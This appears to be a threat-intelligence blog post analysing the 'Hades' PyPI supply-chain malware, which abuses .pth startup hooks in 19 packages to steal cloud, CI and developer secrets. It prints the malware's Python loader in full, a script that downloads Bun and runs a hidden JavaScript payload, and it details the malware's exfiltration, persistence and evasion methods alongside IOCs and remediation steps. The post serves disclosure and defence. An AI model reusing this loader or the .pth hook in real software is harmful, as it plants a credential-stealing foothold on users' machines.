A sophisticated cross-runtime supply chain attack has breached the Python Package Index (PyPI), distributing 37 malicious wheel artifacts across 19 packages. Attributed to the prolific Mini Shai-Hulud / Miasma threat lineage, this newly identified variant—dubbed “Hades”—marks a significant shift in ecosystem-specific delivery vectors.
By abusing legitimate Python .pth (path configuration) files as startup execution hooks, the malware runs immediately upon interpreter startup, even before the target package is explicitly imported. The attack payload hijacks the victim’s environment, bootstraps the Bun JavaScript runtime, and executes a heavily obfuscated payload (_index.js) to systematically harvest and exfiltrate cloud infrastructure credentials, developer secrets, and CI/CD access tokens to attacker-controlled GitHub repositories.

The Evolution of Mini Shai-Hulud & Miasma
Over the past year, the threat actor group behind the Mini Shai-Hulud and Miasma campaigns has aggressively targeted open-source package repositories. Historically focused on npm and Packagist, the threat actors have expanded their cross-runtime tradecraft directly into the Python ecosystem.
Security monitoring detected this coordinated PyPI campaign targeting a highly specialized cluster of libraries. While previous waves utilized Zelda-themed indicators (e.g., “Miasma: The Spreading Blight”), this branch deploys a distinct classical theme: Hades. The campaign utilizes GitHub-centric exfiltration hooks referencing the Underworld, including repository descriptions labeled “Hades – The End for the Damned” and automated repository generation tags such as stygian, tartarean, cerberus, charon, styx, lethe, thanatos, and persephone.
To date, security teams are tracking a massive footprint of 448 compromised artifacts across both npm and PyPI:
- npm: 411 compromised artifacts across 106 packages.
- PyPI: 37 malicious wheels across 19 packages (representing a mass-compromise of a single maintainer’s portfolio).
Why .pth Files are Deadly
The primary mechanism used to achieve immediate execution on a target machine is the abuse of Python’s path configuration files (.pth).
The Startup Hook Trick
In standard CPython implementations, .pth files are processed by the site module during interpreter initialization. While intended simply to append directories to sys.path, Python’s interpreter explicitly permits executable lines within .pth files if they begin with an import statement followed by a space or tab.
This creates a highly dangerous passive execution vector. A developer or automated runner does not need to execute import compromised_package to trigger the infection. Simply installing the package, running pip list, invoking a test suite (e.g., pytest), or spawning a local Jupyter notebook kernel processes the site configuration, reading the .pth file and immediately invoking the loader code.
The Attack Directory Layout
The structure of a compromised wheel package reveals a minimal, highly deceptive modification:
<compromised-package>/ ├── __init__.py ├── ... [legitimate library code] ├── _index.js └── *-setup.pth
The single, obfuscated line within the custom *-setup.pth file serves as the bootstrap loader.
Deep-Dive Code Analysis: The Loader Routine
The loader acts as an environmental bridge. Although the initial delivery platform is Python, the core payload of the Hades malware is written in JavaScript. To bridge this runtime gap without assuming Node.js or Python dependencies exist, the loader downloads and installs a static binary of the Bun runtime.
Below is the normalized structural flow of the python bootstrap loader embedded within the malicious wheels:
import globimport osimport platformimport subprocessimport sysimport tempfileimport urllib.requestimport zipfile# 1. Establish execution boundary to prevent infinite loopssentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")if not os.path.exists(sentinel): base = os.path.dirname(__file__) payload = os.path.join(base, "_index.js") # Locate the embedded JS payload if not os.path.exists(payload): candidates = glob.glob(os.path.join(base, "*", "_index.js")) payload = candidates[0] if candidates else "" # Establish target operating system details is_windows = os.name == "nt" bun = os.path.join(tempfile.gettempdir(), "b", "bun" + (".exe" if is_windows else "")) # 2. Dynamically download the Bun runtime if not already cached if not os.path.exists(bun): arch = "aarch64" if platform.machine() == "arm64" else "x64" os_name = {"linux": "linux", "darwin": "darwin", "win32": "windows"}.get(sys.platform, "linux") zip_path = os.path.join(tempfile.gettempdir(), "b.zip") # Download Bun v1.3.13 directly from official GitHub releases urllib.request.urlretrieve( f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip", zip_path, ) # Extract binary and set executable permissions zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun)) os.chmod(bun, 0o775) os.unlink(zip_path) # 3. Hand over execution to the JS payload via Bun subprocess.run([bun, "run", payload], check=False) # Write execution sentinel open(sentinel, "w").close()
Exploitability Nuance
Static analysis notes that inside standard CPython environments, resolving relative paths inside .pth files using os.path.dirname(__file__) can occasionally fail, as __file__ may resolve to the global site.py location instead of the local library path. Despite this potential runtime resolution error in certain environments, the file remains critically dangerous and attempts to run on every initialization sequence.
Multi-Stage Payload Deobfuscation
Once Bun is executed, the highly obfuscated _index.js file runs. This file uses multiple nested layers of packaging to prevent static inspection and heuristic detection.
[Obfuscated _index.js] │ ├──► Layer 1: Try/Eval Wrapper (ROT character-code substitution) │ ├──► Layer 2: AES-GCM Decrypter (Extracts code via node:crypto) │ ├──► Layer 3: Main JS Payload Decoupler (Generates random /tmp/p*.js) │ └──► Layer 4: Heavy String Obfuscation (PBKDF2/SHA256 Custom Decoders, AES-256-GCM + Gzip strings)
- The Outer Wrapper: The entry point is a
try { eval(...) }block processing a large array of character codes subjected to an alphabet-substitution key (ROT style). - The Decryption Engine: The decrypted output executes a stage that imports
node:cryptoto decrypt two embedded AES-128-GCM binary blobs. This stage writes the actual core threat package to a random file within the temp directory (e.g.,/tmp/p[random_string].js) before invoking it. - The Decoded Payload Core: The resulting script uses a custom PBKDF2/SHA256 string decoder, reference-rotated string mapping tables, and AES-256-GCM strings wrapped inside gzip decompression streams.
Compromised Target Secret Classes
Upon full memory execution, the Hades agent systematically crawls local profiles, process environments, CI runners, and system configurations. It searches specifically for:
- Cloud Providers: AWS credentials (identity profiles, STS tokens, SSM Parameter Store, and Secret Manager data), Google Cloud Platform (GCP service account keys, active project IDs), and Microsoft Azure key vaults.
- CI/CD & DevOps Infrastructure: Kubernetes Service Account tokens, HashiCorp Vault access codes, CircleCI secrets, and local Docker configurations (
config.json). - Source Control & Repositories: GitHub access tokens (
ghs_*tokens, runner memories), GitLab keys, SSH private keys, and local Git credential helper structures. - Package Managers: Configuration tokens for npm (
.npmrc), PyPI (.pypirc), RubyGems, and JFrog Artifactory. - Artificial Intelligence Platforms: Anthropic API tokens, Claude/MCP (Model Context Protocol) configs.
- Local Developer Configuration Files:
.envconfig variables, shell histories (e.g.,.bash_history,.zsh_history), and localized crypto wallets.
Camouflage & Exfiltration: The Anthropic decoy
To exfiltrate harvested secrets without triggering network anomaly detections, the malware uses a two-pronged exfiltration strategy.
Network Log Camouflage (The Anthropic Decoy)
The malware generates direct outbound HTTPS packets to api.anthropic.com/v1/api on port 443. While this is Anthropic’s legitimate API endpoint, the path /v1/api is dead, returning a standard 404 error.
This outbound traffic acts as network-log pollution. Security operation centers (SOCs) monitoring network traffic will see queries to highly trusted, ubiquitous AI hosts like Anthropic. This blends cleanly into standard developer systems running AI assistants, preventing manual inspection.
GitHub Repository Exfiltration (The True Conduit)
The harvested data is packaged, compressed, encrypted, and exfiltrated back to GitHub. The agent makes authenticated API calls (POST /user/repos) using stolen developer tokens to create temporary public repositories.
Once created, it commits encrypted envelopes containing system profiles to the repo under structured JSON endpoints:
- Path Structure:
results/results-<timestamp>-<counter>.json - In-Code Commit Flag:
IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully - Target Repo Description:
Hades - The End for the Damned
CI/CD Exfiltration
When running inside GitHub Actions virtual environments, the malware leverages a fallback exfiltration channel. It embeds workflow automation files designed to dump run-time context logs directly into files named format-results.txt and uploads them to the workflow run using the name “format-results” under the workflow name “Run Copilot”.
Persistence and Environmental Checks
The Hades variant shows high operational maturity, scanning systems for defenses and establishing long-term persistent hooks:
- Evasion Controls: It queries the environment to confirm if Russian locales are configured. It also probes for StepSecurity/harden-runner integration and actively skips pre-identified developer decoy tokens to avoid trigger-happy security canaries.
- Persistence Mechanisms: To guarantee access after reboot, it dynamically configures daemon jobs, systemd units, and launch agents:
~/.config/gh-token-monitor/~/.local/bin/gh-token-monitor.sh~/.config/systemd/user/gh-token-monitor.service(Linux)~/Library/LaunchAgents/com.github.token-monitor.plist(macOS)
- AI Developer Poisoning: It sets up background file monitoring inside Claude MCP tool configurations (
.local/share/updater/update.py.claude), IDE settings, and updates repository workflow templates (.github/workflows/codeql.yml). This targets modern developer stacks where AI models have read-write filesystem access.
Impact Assessment: Compromised Bioinformatics Libraries
The 37 compromised wheel releases span 19 PyPI packages. The primary vectors are bioinformatics, multi-omics, and computational genomic modeling libraries managed by a single maintainer.
Because bioinformatics pipelines process massive genomic data sets on enterprise-grade computing clusters or cloud pipelines, targeting these packages gives attackers direct access to raw research code, AWS clusters, and high-performance computing (HPC) environments.
Complete Table of Compromised PyPI Packages and Versions
Below is the complete, validated list of the 37 compromised PyPI package releases identified in this wave:
| Malicious PyPI Package | Version(s) Affected | Description / Functionality |
|---|---|---|
bramin | 0.0.2, 0.0.3, 0.0.4 | Specialized developer command runner / utility |
cmd2func | 0.2.2, 0.2.3 | Command line execution wrapper utility |
coolbox | 0.4.1, 0.4.2 | Jupyter-based genomic data visualizer (Hi-C, ChIP-Seq, RNA-Seq) |
dynamo-release | 1.5.4 | Single-cell RNA velocity & expression dynamics pipeline |
executor-engine | 0.3.4, 0.3.5 | Task management and engine wrapper |
executor-http | 0.1.3, 0.1.4 | Remote HTTP execution utility |
funcdesc | 0.2.2, 0.2.3 | Function description parser / utility |
magique | 0.6.8, 0.6.9 | Internal developer platform tool |
magique-ai | 0.4.4, 0.4.5 | AI task integration wrapper |
mrbios | 0.1.1, 0.1.2 | System BIOS evaluation tool |
napari-ufish | 0.0.2, 0.0.3 | Deep-learning spot-detection plugin for napari image viewer |
nucbox | 0.1.2, 0.1.3 | Computational biology track parsing utility |
okite | 0.0.7, 0.0.8 | Lightweight agent scheduler |
pantheon-agents | 0.6.1, 0.6.2 | Autonomous agent orchestration tool |
pantheon-toolsets | 0.5.5, 0.5.6 | Agent interface extension toolkit |
spateo-release | 1.1.2 | Spatial-transcriptomics analytical model suite |
synago | 0.1.1, 0.1.2 | High-performance sync/async data mapper |
ufish | 0.1.2, 0.1.3 | Deep learning fluorescence in-situ hybridization (FISH) detector |
uprobe | 0.1.3, 0.1.4 | Profiling and system verification utility |
Detection and Remediation Strategies
Organizations consuming open-source Python dependencies must implement strict defensive posture checks to block this specific lineage.
Static Analysis Detection (YARA & Heuristics)
Flag any PyPI wheel or local system installation displaying the following structural combinations:
- Presence of an executable
.pthfile containing animporthook combined with calls tosubprocess,urllib.request, ortempfile. - Inclusion of an standalone JavaScript file (
_index.js) embedded inside traditional python source directories (site-packages). - Presence of strings matching:
oven-sh/bun/releases/downloadbun-v1.3.13.bun_ranIfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully
Runtime/Behavioral Analysis Indicators
Monitor processes for unauthorized runtime bootstrapping:
pythonspawning outbound network connections togithub.comretrieving binary.zipfiles.pythonspawningbunor writing executable binaries into user temp directories (e.g.,/tmp/b/bunor%TEMP%\\b\\bun.exe).- Outbound HTTPS calls to
api.anthropic.com/v1/apithat resolve in404 Not Foundmessages.
Incident Response & Playbook
If any affected packages were installed in your developer or CI environments, follow these steps immediately:
- Quarantine & Purge: Uninstall the package and thoroughly purge the corresponding environment:
pip uninstall <package_name> -y rm -rf /tmp/.bun_ran /tmp/b.zip /tmp/b/ - Audit the Directory Trees: Scan
site-packagesfor rogue*-setup.pthor_index.jsartifacts. - Credential Rotation: Treat all secrets exposed to the infected environment as compromised. Perform immediate rotation for:
- GitHub credentials, personal access tokens (PATs), and runner secrets.
- AWS, GCP, and Azure programmatic access keys.
- Package publishing tokens (PyPI, npm, RubyGems).
- Audit GitHub History: Search your GitHub organization audits for unauthorized public repository creation, runs containing the workflow “Run Copilot”, or repository artifacts titled “format-results”.
Indicators of Compromise (IOCs)
Cryptographic Hashes (SHA-256)
- Malicious Loader (.pth file):
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c - JS Payload Variant 1 (4.8 MB):
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe - JS Payload Variant 2 (4.7 MB):
e1342a80d4b5e83d2c7c22e1e0aaa95f2d88e3dbf0d853a4994b180c93a4b17d
Network Indicators
hxxps://api[.]anthropic[.]com/v1/api(Decoy host)hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/(Payload bootstrapping)
Host Indicators
/tmp/.bun_ran(Unix) or%TEMP%\.bun_ran(Windows)/tmp/b.zipor%TEMP%\b.zip_index.js(insidesite-packages)~/.config/gh-token-monitor/
Frequently Asked Questions (FAQs)
What makes the Hades PyPI malware campaign different from typical package compromises?
Unlike typical Python malware that relies on setup.py execution during installation, Hades abuses standard .pth path configuration files. This means code executes on every Python startup. Furthermore, it is a cross-runtime attack—even though it delivery-targets Python systems, it runs via an injected JavaScript engine (Bun).
Were Anthropic’s cloud systems compromised?
No. The malware contacts api.anthropic.com/v1/api to camouflage its activity within network logs. Because many modern developer tools interface with Anthropic’s Claude, network logs to this domain look normal.
How did the threat actors compromise these 19 bioinformatics packages?
Initial indicators point to a targeted developer account takeover. Patch updates containing the malicious .pth hooks and _index.js payloads were published consecutively across the author’s portfolio.
This post first appeared at - The CyberSec Guru